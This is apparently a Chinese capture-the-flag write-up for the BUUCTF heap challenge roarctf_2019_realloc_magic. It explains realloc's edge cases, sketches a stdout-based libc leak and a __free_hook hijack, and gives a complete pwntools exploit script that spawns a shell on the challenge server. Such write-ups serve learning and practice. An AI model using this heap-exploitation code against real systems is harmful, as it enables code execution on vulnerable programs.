这道题有点难,第一次遇见这种题目,看了pwnki师傅博客,还看了pwnki师傅博客下的3个师傅博客
https://www.cnblogs.com/luoleqi/p/13415667.html
railgun_探究利用_IO_2_1_stdout_ 泄露libc
BUUCTF-PWN roarctf_2019_realloc_magic
realloc的几个特殊用法(摘自官方WP)
size == 0 ,这个时候等同于free
realloc_ptr == 0 && size > 0 , 这个时候等同于malloc
malloc_usable_size(realloc_ptr) >= size, 这个时候等同于edit
malloc_usable_size(realloc_ptr) < szie, 这个时候才是malloc一块更大的内存,将原来的内容复制过去,再将原来的chunk给free掉
利用思路
先将tache填满,然后在释放一个chunk,使其进入unsorted bin
进入unsorted bin后,覆盖为0xx760,这里需要爆破一位
爆出来后,将其IO_write_base的低字节编程0x58,这正好是vtables地址,将其打印出来后,就泄露了libc
泄露完libc后,后面进行前面类似的操作double free然后劫持__free_hook即可
exp
from pwn import * #context.log_level='debug' #p=process('./roarctf_2019_realloc_magic') p=remote('node3.buuoj.cn',29060) def realloc(size, content): p.recvuntil(">> ") p.sendline('1') p.recvuntil("Size?\n") p.sendline(str(size)) p.recvuntil("Content?\n") p.send(content) def delete(): p.recvuntil(">> ") p.sendline('2') def back(): p.recvuntil(">> ") p.sendline('666') realloc(0x70,'pppp') realloc(0x0,'') realloc(0x100,'pppp') realloc(0x0,'') realloc(0xa0,'pppp') realloc(0x0,'') realloc(0x100,'pppp') for i in range(7): delete() realloc(0x0,'') realloc(0x70,'a') realloc(0x180,b'p'*0x78+p64(0x41)+p8(0x60)+p8(0x47)) realloc(0x0,'') realloc(0x100,'a') realloc(0,'') realloc(0x100,p64(0xfbad1887)+p64(0)*3+p8(0x58)) libc_base = u64(p.recvuntil("\x7f",timeout=0.1)[-6:].ljust(8,b'\x00'))-0x3e82a0 # _IO_2_1_stderr_+216 store _IO_file_jumps if libc_base==-0x3e82a0: exit(1) print(hex(libc_base)) libc=ELF('../libc-2.27.so') free_hook=libc_base+libc.sym['__free_hook'] system = libc_base + libc.sym['system'] one_gadget=libc_base + 0x4f322 p.sendline('666')#ptr=NULL realloc(0x120,'a') realloc(0,'') realloc(0x130,'a') realloc(0,'') realloc(0x170,'a') realloc(0,'') realloc(0x130,'p') for i in range(7): delete() realloc(0,'') realloc(0x120,'p') realloc(0x260,b'p'*0x128+p64(0x41)+p64(free_hook-8)) realloc(0x0,'') realloc(0x130,b'p') realloc(0,'') realloc(0x130,b'/bin/sh\x00'+p64(system)) delete() #gdb.attach(p) p.interactive()